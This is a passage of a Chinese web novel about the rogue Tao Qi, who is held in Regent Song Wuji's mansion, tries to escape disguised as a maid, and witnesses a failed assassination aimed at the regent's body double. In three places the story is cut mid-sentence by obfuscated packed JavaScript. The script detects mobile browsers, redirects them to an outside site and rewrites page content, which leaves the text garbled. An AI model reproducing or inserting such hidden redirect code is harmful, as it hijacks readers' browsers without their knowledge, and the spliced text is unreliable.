桃七改趴为蹲，在宋无忌脚边装成吃了一餐饱打的怂样，自己做主扇起了巴掌：“小的该死，小的放屁，王爷高风亮节，品味独特，怎么会喜欢我这种下等货。是小的自以为是不识好歹。王爷若恼了我，就把我发卖出去，小的无话可说，”嘴里这么说着，手却不知不觉攀上了人家的大腿，昂起头，眼波盈盈：“……不过王爷生得如此俊美，小的私心是一点也舍不得走的，能留在王府，为王爷当个端夜壶的粗使下人，也心甘情愿的很呐！” 他的脸这时候几乎已经是放在了宋无忌的腿间，姿势要多无耻有多无耻。可宋无忌眼神散漫，无波无澜，在这股深沉的凝望下，似乎桃七怎么说，怎么做，都会被结结实实看穿。 他的身体越来越僵，假笑就该维持不住了。 “你，很会暖床？”半晌，宋无忌终于出声。 4. 暖床之道藏物之道 “暖床么，那是相当地熟练。”桃七只能硬着头皮忽悠下去，“不瞒您说，小的进被窝就跟进了自个儿家门一样，王爷试试？保准让您宾至如归！” 桃七似乎遇上了自己的专业领域，别提多来劲儿，一张窄小的，秀气的脸上却挂着猥琐的谄笑，趴在主顾脚底下推销自己，装那象姑馆里的小倌行径。这副做派浑然天成，千叶和万青看了都斜起了眼。 很好，就这样鄙视我吧，最好把我打出门去，从此天高任鸟飞，爽也！！ 宋无忌的眼神一直没离开过他，只是凉凉的，看不出什么情绪。毫无预兆地探出两指，碰了碰他的腮颊，平铺直叙道：“那么今晚，好好表现。” 千叶和万青双双石化，如鲠在喉。 桃七更是像被雷劈了一样，说不出话来。 “等等！小的还没说完！”桃七乍了毛，“暖床这活儿，听着简单，实际可有讲头！王爷且听我细细道来。” “哦？有何高见？” “首先，暖床小厮需自身体质康泰，有阳气，若以弱不禁风之人暖床，只会吸走被窝里的阳气，填入阴衰之气，其主反受其害。其次，需保持被窝受热均匀的前提下，当以人主睡姿的足腿部位最热，胳膊两侧次之，胸腹仅温热即可，因人主胸腹五脏能自主产热，故而无需太暖，若热力次序相反，反而不适。故而暖床者并不是躺着不动自行发热，而是多次变换体位，保持最佳热力分布……”桃七信口胡诌，满嘴跑马。 “还真有两分道理呵。”万青摸着下巴，若有所思。 “二货，那是糊弄的话，你竟当真！”千叶转变了斜眼对象。 那边还没完：“但是，以上两条，都不如这第三条重要！” 万青：“那是什么？” 桃七煞有介事：“那就是，暖床小厮近两日都不能吃红薯，糙米、豌豆、黄豆、花生等五谷杂粮，只能喝稀粥，吃青菜，喝白水，尤其是红薯，那是万万碰不得的。” “为何？” “因为吃了这些……会、会、会……出！虚！恭！”他嘹亮地喊出这三个字。同时掀起洁白的衣摆，往后一努臀，崩了个结结实实的大响屁。 “……” 谁都没有说话。 说是迟那时快，万青和千叶一人一边，拦在宋无忌和桃七之间，一手执剑，一手捂鼻，一人一脚把桃七踹了开去。 “属下护送王爷突围！” “王爷，此地不宜久留！” “此獠更不宜留！！！” “王爷，王爷别走啊，”桃七依依不舍，“今晚一定要来啊，小的暖好了床等您！等不到您，小的一夜不熄灯，王爷您就请好儿吧，保准您一夜快活，胜过一世仙！” 也不知是怎样的兵荒马乱，总而言之，摄政王宋无忌是离开了东厢房。 热闹一下没了，只剩桃七倒地大笑，疯狂锤地。笑得肚皮抽痛，眼眶也又红又热。累了，翘起二郎腿席地打起了盹。 日头斜得很快，晌午就快过了。 秋分已至，院落里一地秋凉。 “七哥儿？七哥儿？”梦里，恍惚又感到老邓在晃他，“道士批过你是富贵命，把驴脾气和这幅吊儿郎当的鸟样收一收，眼色再机灵些，傍上个大户人家，一辈子锦衣玉食跑不了。” “七儿，爹真不该托大，你要是出了什么事，管他是谁，爹一定让那对母子为你陪葬！” “我苦命的儿，快别看了，眼珠子转一转，快转一转呐。官人，你说小七这眼睛，连太医也治不好，以后可怎么办呐……” “女公子真打算出嫁前就呆在小小一方闺阁，锦绣河山，似水流年，岂不辜负？” “……嘿嘿，不哭，霍霍……不哭……一点也……不疼，小姐……看，他们都在……在笑呢，很开心啊，霍霍……也要笑……” * 可惜桃七没等到今晚。 东厢房有下人看着，一只苍蝇也逃不了，他是被“请”出去的。 起先下人打算制止的，横不过他，一溜儿小跑去请王爷的贴身侍卫。 万青生来一张略肥的少年脸，愤怒时也不见得有何威慑，他进门后，不可置信地指着一地残渣，怒道：“你个泼皮，吃成这副德行！讨打吗？” 一地的瓜子花生壳伴口水，再这样下去，鼠蚁就被引来了，东厢房得废。 “呸！”瓜子壳精准地落在了他的靴面上。 再肥的脸，这下也要爆青筋。 “你哪里弄来的这些？”王爷命厨房喂了他十碗下人吃的油泼面，没见有这些零嘴儿啊。 “小哥儿没饿过吧。”桃七一副过来人的做派，“也是，高门大户里的家生子儿。要是如我这般长大，你就会发现，身上哪儿都能藏吃的，脚底板，腋窝下，头发里，再不济，人人都有条长长的屁股缝儿……” 边说，还边掏出一根鸭脖嘬了起来。 “住——嘴——” 桃七还在嘬，嘬完吐骨头，口水糊了嘴边一圈儿，看得万青扶墙欲呕。 “你再不给我停下，别怪我不客气！” “你还想打人？”桃七把长长的衣摆往腰里一塞，拿出无赖的气势，彻底不装了：“老子乃烨都天子脚下一地地道道的混泼皮，秦楼楚馆是常客，吃喝玩乐是行家，想教训我？还暖床？那是万万不能够的，让老子不快活了，小心闹得你们家宅不宁。” “怎么回事？”千叶晚一步走了进来，看了万青一眼，二人最后目色不善地瞪向桃七。 两个武艺不俗的侍卫，桃七就是死也打不过。 “怎么着？敢逼我打我，老子吊死在王府门口牌匾下，反正老子是泥沟子里出来的烂命一条，光脚的最不怕你们这些穿黑皂靴的！” “宁为荒野冻死骨，不做朱门笑脸奴！” “别想让我屈服！” 啪！ 他被一巴掌抽飞了出去。 不出所料，后院冰冷的柴房是他今晚的居所。 晚饭是绝对没有的，他们势必要逼他把“存货”耗尽了再出来。 饥饿，是高门大户惩治奴隶最常见的法子。 * “比想象得还要花样百出啊……”宋无忌在办公的书轩内，常着一袭利落的天青直缀，一粒粒地抠弄着手中墨黑的檀珠，衬得五指如白瓷一般。面前案几上，累累文牍如山，都是宫里朱批过了，再由大监亲自送来王府，天下政令都得在宋无忌眼皮子底下走完最后的章程。 万青：“王爷，这杀才以前就是染瓦坊里的混子无赖，咱们面前又是这番做派，不知多腌臜，您为什么……”话未毕，被千叶打了一下手臂，制止了。 宋无忌瞄了他一眼，眸中无甚悲喜。 万青和千叶都抖了一抖。一个身上抖，一个心里抖。 两大侍卫是宋无忌的心腹，沙场，江湖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006004|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，庙堂……出生入死多年，交情自是远胜主仆。但宋无忌作为摄政王不容许忤逆。质疑他的决定，无疑是犯了上。 令出如山，将帅的权威，在战场上比天还大。 宋无忌提笔入砚，优雅地蘸饱了墨汁，在洁白的御用白鹿纸上，将那血红朱批一笔覆盖，尽成黑色。像战场之上，一对残兵被尽数吞噬，杳然无迹。 如此，那象征皇权的朱砂御笔，便一点也看不见了。 唯剩黑色，一望无际的黑，让人绝望的黑。 “美人皮下是白骨，”宋无忌似是在画着一副绝美的侍女图，“那无赖的皮下，又是什么样子的呢？” 万青看了看千叶，一头雾水。 * 墨室，其实就是柴房。王府给屋子取名就是这个风格，今儿个里头有尊大佛，可惜没人敢来拜。 摄政王老谋深算，布局深远，朝野内外耳目众多，用手眼通天来形同不为过，他指定是认出了自己，不然为何掏这么多钱买一个劣等男奴？ 也不对，他想杀我，给举辉堂管事的说一声，赏我一刀多痛快，何必费五千两黄金，他掏起来也够呛吧。 这是贪墨了多少民脂民膏啊？ 黄金！五千两啊！想到这儿，桃七心痛得快要不能呼吸。 “这毒王八，面若罗刹，心如黑鸦，贪赃枉法，吃人吞骨，指不定在想法子炮制我呢……”桃七越想越心惊，“不成，我得想办法逃跑，不能再等了！” 树挪死，人挪活。他打算趁着夜色逃走。 幸好柴房只有一把锁，没人守门。撬锁他也不在话下，从鞋跟里抽出根细铁丝，插/入锁眼捣鼓几下，“咔哒”一声，锁开了。 百密一疏，摄政王府（的柴房），不过如此。 正门是不能去了，桃七贴着墙根游走，宛如一只黑色的狸猫，一点声响也没有。他挑了个靠进巷子的围墙边蹲下，从腰带里抠出一块铜板大小的镜子，镜子中间有个小孔，又从短靴里抽出根一掌长，半指粗细的竹节，捏着顶部那细端一拔，竹节倏地便长了七八倍。原来是一根可以伸缩的竹节，这是他在邓老板作坊里潜心研究出的得意之作。 他拔了三根头发，拧在一起加粗，将这一股头发穿入镜子中间的小洞，在乌漆嘛黑的夜里，难度不亚于七旬老妪灯下穿针引线。 最后，他将镜子固定在竹节的顶端，慢慢抬高，从围墙顶部探了出去。慢慢调整角度，直到反射出墙另一边的光景。 这个简易的装置可以在人不探头的情况下，用于窥视障碍物背后的物什。过去这一天他被人强行剥去衣物洗浴，脏臭的衣物都被丢了。可这些物什，包括撬锁的铁丝都没有丢失，多亏做得精细小巧，而且他提前将东西转移到掌心握住，腋下夹住，脚底板按住，才没有遗失。 由此可见，他对万青说的“藏物”一道，确有独到研究。若有心搜身，或许会被夺取一二件。可惜他吃相太难看，王府两大侍卫沾他一下都嫌脏。 夜间视物困难，他眯眼一看，逃跑的心情瞬间浇灭了大半。 王府周围，十步一人，俱是孔武有力的带刀侍卫。两个侍卫之间彼此看得到对方，绝对没有视野盲区。 他奶奶个熊！桃七在心里暗骂了一声。 宋无忌你个千年老王八，既然这么怕死，缩进你的乌龟王八洞里好了。 不能翻墙……桃七细细思量着，那老子走正门！ 5. 王府女婢各个人才 既要走正门，那便从长计议。 朱门中，大户人家的女婢，夜间通常宿在后院耳房，茅厕就在隔壁，桃七不打算潜入耳房之中，这样容易把一群女婢惊醒，要是被她们发现，那尖叫声在大半夜可以将屋顶顶穿。所以，在耳房外的茅厕边，蹲了一个时辰。 二更天时，终于有婢女出来解手了。 可惜，是两个。 两位容颜俏丽的二八少女，手挽着手，一起出恭。 瞧我这脑子，怎么忘了女子这德行。桃七轻拍脑门。 还是大晚上的，女子胆小，自然是结伴解手的人数多多益善了。 桃七原打算打晕一个夜晚独自出来解手的女子，剥下衣服自己套上，再去大门口借口府内有人突发恶疾，要出门寻大夫，守门侍卫有可能不允，可成功率比翻墙靠谱多了。 两个女子，也不是不能拿下！但是难度太大。 幸亏他有另一计策。 两个婢女里，一个成熟些，似乎有二十四五，另一个完全是没长大的半大少女，那少女抱着胳膊搓了几下，道：“樊姐姐，谢谢你大晚上的出来陪我。” “知道你胆小，以后睡前别喝那么多茶水了。” “不是水，是我吃了个大鸭梨。还因今日睡得太早了。王爷为何命咱们这么早就寝呢？” “我也不知道，许是府里不太平，不让下人出来吧。” “怎么会呢？王爷那么厉害，有谁敢招惹咱们王府？”小婢女一点也不赞同，“我看今日府内外的侍卫都少了许多，一定是更安生了才对。” 被唤作樊姐姐的道：“不是侍卫少了，而是巡逻的次数少了，以往每半个时辰需要绕外府一周，这两日半天才一次，未时之后，就见不到了。” “天儿冷了，王爷是心疼我们这些下人了。” “傻姑娘！”樊姐姐点了下她的额头，“快去吧，我在帘子外头给你拿着灯笼。” 小婢女接过灯，盈盈一笑，掀起草帘迈了进去，立刻发出惊呼：“啊呀！这……这……谁把恭桶打翻了！” “怎么了，没事吧？” “恶心死人了，”小婢女蹦了出来，提着衣摆，捂着鼻子，一脸衰相，“樊姐姐……” “你别过来！”樊姐姐扫了眼里头，恭桶横放着，里头污遭的秽物，可以说是沧海横流。她们哪里知道，桃七还挑来了西苑仆役用的恭桶，一起灌了进去，就怕水位不够高。 于是，那小女婢的衣摆边缘一圈都粘上了污迹，还有那双粉色的绸面鞋，看不出原本的颜色了。 “哪个没德性的，把茅厕弄成了这样，也不跟李嬷嬷说一声唤人来处理一下，”樊姓女婢抱怨道，“只能等明天让挑粪的老丁头来了。 “可是，我，我该怎么办啊？”小女婢提着裙摆都快哭出来了。 樊姐姐也嫌弃，成了个冷眼旁观的陌生人，避之不及：“快快去浆洗房刷洗一下，记住，别用架子上的面盆！” “姐姐我怕，你陪我去。” “诶呀，我也是糊涂了，这么晚了，浆洗房早就上锁了。” “真倒霉，那要不，我进屋用暖壶里的水洗洗吧。” “也只能这样了。你先别进屋，我给你挡着，把衣裳脱下来，丢出去……” 桃七在茅厕后墙根上观察着，心中呵呵闷笑。 少女夜半出恭，便桶打翻厕中。 一身衣裙尽废，狂濯玉足指沟。 心里哼着新鲜出炉的打油诗。等耳房内的灯彻底熄了下去，他悄悄靠近了耳房门口，捡起了地上污了的衣物，套上。 他想，世间女子最重名节，若半夜将她们打晕，第二天被人发现时，难保流言蜚语不歇。 即便她们自个儿心里知道身上没有被强迫的迹象，但在他人嘴里，事情又会变成另一幅模样。 污了她们的衣裙，也好过污了名声。 桃七穿戴好那件鹅黄色的薄衫，又用铜板大小的镜子照了照自己。他没有用墙灰抹脸，也没有故意做出黄鼠狼般猥琐神色的时候，脸还是蛮有女孩相的，就是有点太单调清白了，少些点缀，想着做戏做全套，指腹在茅厕墙根下用力一蹭，灰褐色的陈年老墙灰在眉毛处细细描了两笔。若是有第二人在此，便会惊叹这两道眉毛改天换地之功效，让一名“少年”有了种惊心动魄的美。 看天色，已经过了子时三刻。若那樊姓女婢所言不错，桃七这么大摇大摆走出门去，也不会遇见巡逻的侍卫才对。 巡逻次数少，但把守外院的侍卫，十步一岗，井然有序…… 直觉告诉桃七，这里头一定有什么问题，但是他又想不通。 宋无忌果然老谋深算。 小心为上，他往大门去的一路上，简直比一只偷吃的夜猫还要安静。 只是在经过中庭时，见三个小厮，各提着个烛油捅，排成一列进入中庭中央的小花园之中。 幸而桃七躲得快，猫进了灌木里，他捂着胸脯，感受着扑通扑通的心跳。 中庭是王府内最大的花园，供主人赏景，其中有一座一丈高的假山，内凿出一个半长不短的通道，供人横穿中庭。 桃七亲眼见到那三个小厮进入假山，可当那三人走出来时，竟然是三名衣着夜行衣的男人，黑巾遮面，手上提一柄长刀，走出来时一点足音也未发出。 那三人的气质也大变，没有一丝波动的眼面处，透出幽森的煞气。 足下一蹬，三人轻飘飘跃至回廊檐上，几步腾跃，便与夜色融为一体，如羚羊夜宿，难以觅得其踪迹。 刺客！ 姓宋的要倒霉，说不定活不过今晚。 宋无忌树敌众多，仇人夜半上门不稀奇。桃七本不想去管这桩，本没他什么事。他的目的是逃离王府，重获自由，只是……若在他逃走的这晚摄政王出了事…… 他的形貌王府里的人许多都晓得，刺杀当晚，王府新买的奴隶逃脱出去，万一他们以为是我干的，或者与刺客暗通款曲。通缉令发出去，没来由背了黑锅，这该找谁说理去。 王府失去一个下人，左右也就自认倒霉。可若是刺杀朝廷重臣得手，天罗地网撒下去，他好不容易寻到在烨都活下去的法子，还不打算放弃。 要不然出声提醒一下侍卫。他们抓住了罪魁祸首，他就能洗脱嫌疑了。 想来想去，他竟狠狠凿了天灵盖一下：宋王八的死活关我什么事。再婆婆妈妈下去，死的是你自己！ 爹死娘嫁人，各人顾各人。桃七从灌木丛中站立起来，提起裙子往外院去，一步比一步坚定。 “诶，等等！”这时候，一道清新的女声在身后响起。 桃七慢慢转身，望向提着灯笼的侍女，穿的是与她一样的鹅黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006005|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薄衫，只比他多了一件外罩的比甲，那侍女生得端庄秀丽，可桃七觉得她比女鬼还恐怖。 侍女向他走来，身后又冒出了数名女婢，原来他是领头的，半夜三更正领着一队女婢自王府西边来，不知做什么。侍女走近，把他上下瞧得一清二楚，道：“你就是那个新来的？别过去，那边不能去，跟在咱们后面，我带你去住的地方。” 她们将自己认作了新来的女婢！ 认清了这一点，桃七使起了他的强项——装乖扮惨，痛苦的表情活灵活现：“姐姐，我肚子疼，先前找了个茅厕把恭桶弄翻了，急着要找个干净的茅厕解决！” 距离够近，女婢们都嗅见了异样的气味，掩起了各自的琼鼻。 “不行哦，今晚你哪里也不能去，只能跟着咱们。” “姐姐，人有三急啊！” “待会儿听到什么，看到什么，都不能大惊小怪。”侍女不理会他的抗议，“不然，王府的李嬷嬷会单独教导你的。” 侍女拉起他的手，兀自向前行去。 该死，九十九拜都过来了，就差这最后这一哆嗦了！桃七实在甩脱不开这些女子，只能再找机会了。 那三名刺客是他唯一的希望，他打定主意，若有机会遇见他们，就嚎一嗓子，制造混乱，不愁找不到机会脱身。 领头侍女将七八名婢女送回了西边的耳房。原来是这班当值结束了，回屋就寝。 耳房屋子四人一间，其余人等均已入屋安顿妥当，领头侍女对桃七说：“你刚来王府，不熟悉，趁着夜色，我带你认认路。” “为何？”桃七狐疑中生出警惕，“天色已晚，姐姐何故提灯夜游？” “我是晚间当值的，正巧无事，带你逛逛咱们王府。”她的话似乎能说通，“白日认路自是容易，一到夜晚就是另一番景色，难免认不出，王府太大了，姑娘跟紧我。” 话毕，她提灯离开了耳房。见桃七不跟来，回头道：“你不是要去茅厕吗？” “哦。”许是桃七多想了，又许是那姑娘言语温柔，不是歹人，桃七一时找不到拒绝的理由。 桃七跟了上去，任他牛鬼蛇神，兵来将挡，水来土掩。 那女子领着他行了一盏茶功夫，过了一道月门，一道屋门，掀起帘子又进了里屋。桃七想，难不成自己进了这领头侍女的闺阁？ 实在没料到，跟着跟着，人就不见了。 桃七不敢大声唤，只好暗暗回忆来时的路线，打算回去。 他放轻足音，在里头绕了一阵，所处的这间屋子很大，又气派，不像是下人的居所。 不对劲！ 他看向屋子最深处，拔步床四平八稳地放着，帷幔是放下的，没有掌灯，一片漆黑，只听里头令人血脉喷张的，惹人遐思的情爱之声。 帷幔遮掩，让人想象出内里的酥乳细腰，雪肤花貌，春色无边，衾被红浪下是何等风流情状。 桃七蹲下，死死用手捂住了口鼻，大气也不敢出。 亲娘嘞，摄政王玩得这么带劲儿。 刺客都光顾到家门口了，还趴在美人胸脯上。 要不要提醒提醒，也好趁乱逃跑？ 可这要是一嗓子嚎出去，教个堂堂七尺男儿从此萎了该怎么办？ 桃七自个儿是欠着一哆嗦，人家摄政王嘛……还是等他哆嗦了再嚎吧。 6. 活春宫不见死王爷 私心里，对于这次不知由谁主导的刺杀，桃七是乐见其成的。 他怕牵扯到刺杀案中成为嫌疑犯，可他更想看看，若是自己并未误打误撞发现了刺客，那这一晚的结局到底如何。 桃七猫着腰，垫着脚，躲到了衣橱侧边的屏风后面。 他进来得安静，塌上“战况”又激烈，所以即便他在这座气派的宅子内转悠了两圈，塌上的两人，也没有停下。 暧昧的声响，激得人头皮发麻，又似乎要把人骨头酥软掉。 床腿磕碰地面砖石，帷幔流苏摇摇荡荡，呼吸与撞击愈来愈急促，两三下的功夫后，那动静达到顶峰，随即一落千丈，男子呼出一口浊气后，身与魂都消停了。 现成的活春宫，即使只有声儿也很值，真想抓两把瓜子来磕着看，不过容易暴露自己，算了。 过了一会儿，帷幔后面传出事后女子细微的调笑声。 屋檐上摇曳的灯笼，这时候彻底暗了下去。 桃七想起了那三人手上的烛油捅，真正添烛油，换烛芯的仆人，想必早已一命呜呼。 嗖嗖嗖三道影子划过窗棱，向屋顶去了。然后头顶的瓦片被无声揭起来数块。 来得真是时候，眼下摄政王正是脑袋空空、身子松松的时候呢。 就算他现在逃出去，立刻就会被鸣锣示警的动静引来的侍卫拦住，桃七知道，再不嚎一嗓子，他就彻底上了刺客的贼船，跳进黄河也洗不清了。 就在他挺胸提臀吸气，预备放声一吼吓退刺客之时，突然，他感到背后猛地僵直，居然有个人，在距他一丈远的位置，一勾手将他摄了过去，像是摘花取叶一般。 难道是传闻中的内力？这一手隔空取物，不，是隔空摄人的功夫，没二十年绝对练不出来。 那人也是一身青黑，手臂一只扼着他的脖颈，一只手死死捂住他的嘴，从他身后控制了他。 桃七整张后背严丝合缝贴在那人胸膛上，能感受到，这人体格并不是很魁梧，身上异常地凉，一双手更是如冰块一般。他应该在夜色里蹲守了很久。 难道刺客还有同伙！？ 瓦片一层一层被掀开，细细的灰尘往下落，毫无响声。 那人的头部呈现平视的姿态，似乎并未注意到。 “夜半三更，姑娘来此所为何事？”他居然在桃七耳边细声说话。 桃七一呆，明明是个陌生男人的声音，但却隐隐觉得这声音似乎在哪里听到过，应是不久前。 桃七生怕被抹了脖子，想了想，也极度轻声地“说”：“侍卫大哥，奴婢错了，万万不敢爬上王爷的床。你放了奴婢，奴婢保证下次不再动这种心思。” 当然，他被捂着嘴，几乎只做出了嘴型。 但是那人还是读出了他的意思：“王爷的床榻日日有女子光临，你不知道吗？难不成，你想三人同乐？” 杀千刀的，我管你几人乐！ “奴……奴婢不知，奴婢害怕，求侍卫大哥别杀我，我回头……给你伺候得舒舒服服的，可好？” “姑娘可真大方啊。”那人手一松，居然放开了捂住他嘴的手，不知从哪里捏出一枚指甲盖大小的滚圆药丸：“可我今日若放了姑娘，以后该去哪儿找你呢？” 桃七眼看着屋顶那窟窿，已经快要能进一个人了。 “不如，你吃了这颗药。” “这是什……咳……”桃七张嘴的瞬间，那人手指一弹，速度快得看不到影子，一颗药丸就卡喉眼儿里了。要是努努力或许还能咳出来，偏偏这时候屋顶上一声“轰”！，瓦片碎片四溅，三道黑影坠落而下，将屏风掀翻了去，惊得他倒吸一口凉气。 这一口凉气，顺顺利利把那小药丸推入腹中。 刺客掠身而上，掀开床上帷幔，一人挥刀斩向头部，一人对准心脏，最后一人背过身子持刀向外，作防御状态。 “你大爷的！”桃七放声大骂，一把扯开身后之人的手臂，力道大的出奇。转身，夜色朦胧下隐约也看出了那人的面孔，一下子呆住！ 榻上男子两刀四个洞，塌上女子当场失声惊叫，被腾出手来的刺客一刀封喉！喉管喷出的鲜血，衾被上瞬间开出一朵血红狂花。 桃七和那神秘人双双向塌上看去。 难不成，得手了？ 事后桃七回忆起来，这时候他最先体会到的，不是大难临头，而是震撼。 头脑一片空白，眼圈发胀，耳鸣不休，浑身血液直冲颅顶，几乎失去知觉，是一种失明之人心心念念无数年，终于得见天光的悲欣交集。 如果用一个词来形容，那就是——大仇得报。 原来，这才是他发自肺腑最想要的。 摄政王极端自负，竟然还有这么一天，桃七真想仰天大喊一声——宋无忌，不过如此！ “不好！”刺客掀开被子，凑近看了眼那具男尸体，“是替身！” 拼死一击，竟然只杀死了个替身。无边的恐惧一下子笼罩住了这三人。 本就是刀山火海中讨生计的亡命之徒，任务失败也没慌了阵脚。他们没有一丝迟疑，回身后撤，打算通过屋顶的窟窿离去。 然，四周突然大亮，无数灯笼、火把、箭矢上的火焰，将这间卧房映照得如同白昼一般。房门被踹，整块倒塌下去，无数身披甲胄的侍卫闯了进来。 箭矢射入刺客的手臂，肩背，都不致命。他们左右格挡，却终不敌人多势众。 他们被侍卫按压在地上，双臂卸下，绞在身后。 万青上前，一个剑背向着其中一人的嘴部打去，牙齿噼里啪啦，一颗颗脱落下来。据说是为了防备刺杀的亡命之徒牙齿里□□，还能帮他们断了咬舌自尽的念想。 “王爷！”侍卫向两边分散开，让出一条通道。 摄政王宋无忌，身披鹤氅，手握檀珠，头簪玉冠，如圣人、如隐士、如墨客，就是不像那杀伐果断的执棋者。他走了进来，一步一步，看清了三名倒霉的刺客，叹息一声：“不是。” “看样子，是审不出什么了。”千叶道。 “不审了吗？”万青惋惜地踢了踢刺客的脑袋，“那多浪费。” “你们看着办吧。”摄政王无甚喜怒，转身离去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006006|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > * 桃七是在侍卫闯入的前一刻，被那人从屋顶的洞口丢出去的。 顺着屋檐一溜儿滚落，摔进一颗枝叶才开始变黄的梧桐树中。 他捂着屁股，一路屁滚尿流地避着人，见到一间门户微敞，空空荡荡的四方小室，没怎么想，就闷头躲了进去。随即心里黑压压一沉——见鬼了。 嘿，您猜怎么着啊，他认出这地儿了，墨室。 兜兜转转一大圈，居然又回到了原点。好在看了好几场大戏，不白来。 王府上下到处透着诡异，他不打算再出去了，安安定定呆在墨室内之中，等远处的喧嚣散去。这光景，天边已经泛起了白。 他盘腿坐下，细细盘算起来。 首先，那名让桃七看了一眼，便险些晕过去的神秘男子，正是那举辉堂里领着自己去梳洗的仆役！ 那人其貌不扬，丢在人堆里都不会让人注意，怎么会有这么好的身手？又怎会出现在摄政王府？还强行喂给他一颗未知的药丸，他已尝试了几种催吐的手段，均是失败，想必药已经在胃里化开了。 怕是一段时间后不吃解药就会一命呜呼的毒药，以此来要挟他，可恶，往常都是桃七给别人使绊子，哪里吃过这种亏，简直比阴沟里帆船还要可耻。 自个儿的命悬在别人手里的滋味，他是再也不想体味了。 此人先不提。单就这场刺杀，事情已经很明朗，摄政王早已得到近日有人刺杀的情报，于是精心策划了这一出，捉住刺客后拷打一番问出主谋——多半是他的政敌。府外的侍卫如往常一般严备，展示出一切如常的假象，府内巡逻降低频率，是为了刺客入门后给他们施展空间。 就像不杀那三名刺客一样，宋无忌不杀自己，一定是因为还有利用价值，极有可能是要用姚家余孽的身份来扳倒他在朝野的政敌。 要杀他的人又是谁呢？齐王？御史？谢阁老？想他死的人不少，多我一个不多。 他要对付的又是谁呢？连家？魏府？夏雍王？往日与姚家沾亲带故的氏族不少。亦或者，是那带顶白帽子，他想自己戴戴了。 思来想去，这是最合理的解释了，一旦失去利用价值，小爷我小命呼吁矣！ 他现在还能容忍我，像昨日那般挑衅他的行为，以后绝对不能再出现了。没有把握的前提下，也不能贸然试图逃脱。整座王府就是个巨大的迷宫，暗处一定有专门看着他的人，未将这些人统统揪出来，笼鸟脱逃那是痴心妄想。 * 第二日，桃七被提到了摄政王面前，跪于室内正中，身上穿的还是那间乌七八糟的鹅黄婢女装。神颜憔悴，眼神躲闪，面有菜色，是个受了调.教的新奴隶的样子。 “我竟然不知，桃公子还有此般癖好。”宋无忌随手描着工笔画，其实没看他。 “爱好，爱好而已……不知王爷有何差使？小的定当竭力办好！” “的确有件事……” 桃七咧嘴：“小人洗耳恭听！” “听说，昨晚有人想爬上我的床，”宋无忌似笑非笑，“你，去把人找出来。” 7. 得赏识无赖初探案 昨晚刚经历了一场惊心动魄的刺杀，今天他竟然关心这个？这唱的是哪一出？ 桃七怀疑宋无忌其实早就知道那“爬床女”是自己了，不然为什么莫名其妙让他找人，就是在给自己找不痛快哩。 都怪自己脑子糊涂，为什么偏偏找这个借口。他只对举辉堂的那人说了爬床一事，隔天宋无忌就找他算账了，那人必定也是宋无忌的人！宋无忌的势力遍布烨都，在各坊市的大店、卖场里头安置几个细作耳目也不奇怪。 桃七酝酿片刻，搓了搓衣角：“王爷，小的刚来府上，路都没熟起来，怎么好查人呢。万一冲撞了美丽无辜的姑娘们，那罪过可就大了。况且那女子说不定是个貌美侍婢，夜半思慕王爷风姿，寂寞难耐，求而不得，生了心病，才出此下策。”桃七捂住胸脯作心碎状，“王爷是宰相肚里能撑船，放那小女子一命，给人一条回头路，想必那女子从此之后一定恪守妇道，从一而终，相夫教子，举案齐眉。孝顺公婆拼命生，老公死了守金身，四邻八乡争传颂，贞节牌坊村头立，思及王爷今日高抬贵手，把您的大名刻上牌坊做纪念也是功德一件呐王爷！！”桃七夸吃夸吃在地砖上磕了几个响头。 “嗤！”万青立在一旁，憋得肩膀直颤。宋无忌一记眼刀，吓得他把笑给憋回去了。 “谁说我要她的命了？”桃七嗡嗡嗡说了一大堆，宋无忌的额头和手背统统起了青筋。 桃七斜抬起眼，打蛇随棍：“那王爷的意思是……” “无妨，我就想看看是怎样的奇女子，若真如你说生得貌美，找着人之后，给她个名分也说不定。”宋无忌勾完画作最后一笔，那纸面上描画的是个素衣女子，看起来年纪很轻，脸上却没有眼睛，上半张脸只剩下白花花的面皮，毫无灵气。 宋无忌抬头扫了桃七一眼：“这件事，我会让阖府配合你。你若办得好，找着人了，事后有何想要的，本王也可赏你。” 毒王八就是不肯放我一马，看样子是推不掉了。桃七咽了口唾沫，忽地立起身，一本正经地直视宋无忌：“若是找到了人，王爷能否赐药？” 宋无忌的眼神稳稳地接着他，道：“什么药？拿来治你的巅症？还是治那心病？” 桃七噎得无话可说。 脑子转得飞快——宋无忌居然不用那药丸来威胁我，难道他不知道？他的手下那人只告诉了他我昨晚扮成爬床女来过，却没说他强迫我服下一丸药么？” 那人和宋无忌到底有无关系？这一点，桃七需要仔细探查，不能轻举妄动，他有预感，以后这可能会成为一个筹码。 